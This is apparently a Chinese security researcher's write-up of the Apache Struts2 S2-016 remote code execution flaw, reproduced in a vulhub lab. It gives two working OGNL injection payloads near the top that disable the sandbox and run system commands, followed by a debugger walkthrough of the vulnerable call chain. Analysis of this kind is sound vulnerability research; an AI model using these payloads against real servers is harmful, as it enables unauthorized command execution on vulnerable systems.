S2-016
影响版本
Struts2.0.0 - Struts2.3.15
漏洞成因
DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令
复现环境是 vulhub 和vulapp
Payload
redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}
调试
第一次调试,弄环境弄了半天,记录一下
把war包 扔到webapps下 自动部署了 (也可以用TdeCompile) 出现一个文件夹(a)
idea 新建project java web (文件夹b)
把a下面的web-inf 扔到 b的web-inf a的class下的文件要JD-GUI反编译一下 扔到b的src里
idea 里面再重新载入一下 lib下的文件
添加tomcat服务器
就可以了
DefaultActionMapper在处理短路径重定向参数前缀
"action:"/"redirect:"/"redirectAction:"时存在命令执行漏洞,由于对
"action:"/"redirect:"/"redirectAction:"后的URL信息使用OGNL表达式处理,远程攻击者可以利用漏洞提交特殊URL可用于执行任意Java代码。
重定向请求 会让DefaultActionMapper 来处理
这是重定向请求的参数前缀
断点 下在这里
this.put("redirect:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
ServletRedirectResult redirect = new ServletRedirectResult();//重定向url 设置一些参数 如statuscode=302
DefaultActionMapper.this.container.inject(redirect);
redirect.setLocation(key.substring("redirect:".length()));//去掉前面的redirect://
mapping.setResult(redirect);//把redirect 加进去了 只有location改变了
}
});
struts2会调用setLocation方法将他设置到redirect.location中。然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里
接下来到
public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
Set<String> uniqueParameters = new HashSet();
Map parameterMap = request.getParameterMap();//parameterMap 里面就是我们的payload
Iterator i$ = parameterMap.keySet().iterator();
while(i$.hasNext()) {
Object o = i$.next();
String key = (String)o;//payload转换成字符串
if (key.endsWith(".x") || key.endsWith(".y")) {
key = key.substring(0, key.length() - 2);//如果有.x .y 结尾就截掉了
}
if (!uniqueParameters.contains(key)) {
ParameterAction parameterAction = (ParameterAction)this.prefixTrie.get(key);
if (parameterAction != null) {
parameterAction.execute(key, mapping);
uniqueParameters.add(key);//把payload加到了set里
break;
}
}
}
}
觉得这里的parameterAction.execute 执行的就是我们第一个断点的位置,而getMapping调用了这个上面的函数handleSpecialParameters.
我觉得我们这个断点下的 在调用的最深层,之后还要出去 往回 走 类似调用栈的那种感觉..所以才会造成明明是getMapping 调用了handleSpecialParameters,而在idea里 handleSpecialParameters是getMapping
正确的调用顺序 getMapping->handleSpecialParameters->DefaultActionMapper里的prefixTrie中的一个
这就已经把payload 送进了mapping 的result 的location里
发现有execute 继续跟
cleanupRequest 也是一个过滤 但没啥用
继续跟 才是最关键的
org.apache.struts2.dispatcher.Dispatcher#serviceAction
public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException {
//看这些参数的时候就知道 要执行OGNL了,mapping context 啥的
//下面还有什么valuestack的操作
//最关键的
if (mapping.getResult() != null) {
Result result = mapping.getResult();//我们的payload 就在result location 里
result.execute(proxy.getInvocation());
} else {
proxy.execute();
}
这个地方就是啥呢,看我们的action 映射是不是直接访问网页,如果是直接访问网页就走else 里面的execute.
而我们现在是redirect 302 跳转 就走上面的
我们走的是上面的
继续
现在就已经是执行payload的部分了
TextParseUtil.translateVariables 就是提取出OGNL表达式并执行
一步一步跟 有很多com.opensymphony.xwork2.util.OgnlTextParser 解析OGNL的
需要把他改成true 绕过沙盒
细致的跟踪
后面经常出现
getvalue
this.evaluateGetValueBody
ognl.SimpleNode#evaluateGetValueBody
这地方可能是 tree 分开之后的 每个payload小语句 执行 循环
补充一下
org.apache.struts2.dispatcher.ng.ExecuteOperations#executeAction
启动的时候有一些参数
没修改之前的context
Getvalue->evaluateGetValueBody->Getvaluebody
ognl.OgnlRuntime#callMethod(ognl.OgnlContext, java.lang.Object, java.lang.String, java.lang.Object[])
这里就执行了OGNL表达式
参考文章:
可能有的地方说的不对,希望师傅们指正(萌新瑟瑟发抖)